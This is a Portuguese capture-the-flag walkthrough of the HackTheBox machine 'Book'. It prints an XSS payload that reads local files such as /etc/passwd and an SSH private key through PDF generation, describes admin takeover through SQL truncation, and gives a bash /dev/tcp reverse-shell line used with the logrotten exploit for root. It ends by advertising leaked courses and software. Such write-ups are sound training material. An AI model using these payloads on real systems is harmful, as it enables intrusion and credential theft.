Continuo publicando soluções enviadas para finalização de máquinas da plataforma HackTheBox .
Neste artigo, exploraremos o XSS para o LFI por meio de um documento PDF, escalaremos os privilégios com o logrotten e também veremos por que o registro truncado é vulnerável.
A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.
Informações organizacionais
Recon
Esta máquina possui um endereço IP 10.10.10.176, que eu adiciono ao / etc / hosts.
10.10.10.176 book.htb
Primeiro de tudo, examinamos as portas abertas. Como leva muito tempo para verificar todas as portas com o nmap, primeiro o farei usando o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.
nmap -A book.htb -p22,80
O host executa um serviço SSH e um servidor web. Vamos começar com a web. Somos recebidos pela página de login e registro.
Vamos registrar e fazer login.
O site é uma biblioteca com a capacidade de adicionar um livro e entrar em contato com o administrador.
Não há vetor nesses campos, mas sabemos o e-mail do administrador. Vamos percorrer os diretórios com gobuster. Nos parâmetros, especificamos o número de fluxos 128 (-t), URL (-u), dicionário (-w) e extensões nas quais estamos interessados (-x).
gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Assim, encontramos muitas páginas interessantes, incluindo o painel de administração. Decidiu-se então alterar o formulário de autorização e imediatamente encontramos algo interessante no código-fonte.
Ou seja, o nome de usuário não pode ter mais de 10 caracteres e o endereço de email não pode ter mais de 20. Mas a verificação ocorre apenas no caso de campos vazios, sem verificar o comprimento.
Ponto de entrada
Então, muito provavelmente essas variáveis serão truncadas no comprimento especificado no lado do servidor. Vamos conferir. Vamos registrar um usuário cujo endereço de email tenha mais de 20 caracteres.
E, em seguida, efetuamos login, levando em consideração o endereço truncado.
Como você pode ver, a suposição está correta. Vamos registrar como "admin@book.htb 123" e depois fazer login como um administrador regular.
Esse ataque é possível devido ao fato de que, durante a verificação durante o registro, o valor “admin@book.htb 123” está ausente no banco de dados, após o qual é truncado e substitui o existente. Vamos dar uma olhada no site e não encontrar nada de interessante, exceto a coleção.
Depois de baixar e abrir documentos em PDF, encontraremos uma lista de usuários e coleções registrados.
DO UTILIZADOR
Minha experiência me disse que, quando estamos lidando com o upload de informações para um servidor e as exibindo em PDF, o XXS para o LFI deve ser verificado. Você pode fazer isso baixando o seguinte código.
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
Efetue login como um usuário comum e adicione um arquivo à coleção, indicando esta carga em todos os campos.
Agora, baixamos o arquivo com a coleção do administrador e encontramos o conteúdo do arquivo / etc / passwd lá.
Vamos ler a chave SSH privada do usuário leitor especificando o arquivo "file: ///home/reader/.ssh/id_rsa" em nosso carregamento.
Mas, ao copiar uma chave, nem tudo é copiado. Abra este pdf em um navegador, copie o texto e cole-o em um arquivo de texto comum, destacando a primeira e a última linha.
Vamos atribuir os direitos a este arquivo.
chmod 0600 reader.key
E nos conectamos via SSH.
RAIZ
Há uma pasta de backups no diretório inicial do usuário.
Isso não me deu nada. Execute os scripts para a enumeração básica do sistema, também não encontramos nada de interessante. Nesse caso, examinamos as tarefas executáveis usando o pspy64. E aqui encontramos o logrotate, executando em nome da raiz.
O utilitário Logrotate foi projetado para automatizar o processamento de logs. Ela pode executar as ações necessárias com eles, dependendo de certas condições e regras de conformidade. Por exemplo, você pode compactar logs em um arquivo morto ou enviá-los para outro servidor quando atingirem um determinado tamanho, idade ou outros parâmetros. E uma pesquisa no Google imediatamente dá alguma coisa.
Faça o download do repositório e compile o programa.
gcc -o logrotten logrotten.c
Agora vamos criar um arquivo com um shell reverso.
echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile
Vamos começar o logrotten e, em outra janela do terminal, gravaremos em nosso arquivo de log.
./logrotten -p ./payloadfile /home/reader/backups/access.log
Podemos observar que o programa funcionou com sucesso.
Após alguns segundos, vemos uma conexão que permanece por alguns segundos. Isso é suficiente para ver a chave privada ssh.
Vamos nos conectar com essa chave e pegar a bandeira.
Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos vazados e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.